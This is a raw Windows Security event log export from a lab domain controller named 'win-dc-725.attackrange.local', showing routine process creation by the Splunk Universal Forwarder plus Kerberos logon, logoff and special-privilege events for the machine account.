Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:46:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255924
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x638
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:46:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255925
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1140
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:46:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255926
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5cc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:46:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255929
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x388BD8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:46:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255928
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x388BD8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64906

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:46:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255927
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x388BD8

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:47:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255935
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x388EA0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:47:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255934
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x388EA0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64909

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:47:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255933
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x388EA0

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:47:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255932
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x388E34

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:47:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255931
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x388E34
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64908

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:47:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255930
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x388E34

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:47:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255936
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x84c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:47:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255949
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1398
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:47:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255948
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3896CE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:47:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255947
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3897DC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:47:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255946
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x389825

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:47:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255945
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x389A35
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{250C95BA-D7BE-68DE-E803-AA7B4845FE00}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64914

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:47:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255944
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x389A35

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:47:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255943
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x880
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:47:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255942
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x389825
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64913

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:47:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255941
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x389825

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:47:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255940
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3897DC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		0

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:47:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255939
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3897DC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:47:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255938
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3896CE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64912

Detailed Authentication Information:
	Logon Process:		Kerberos
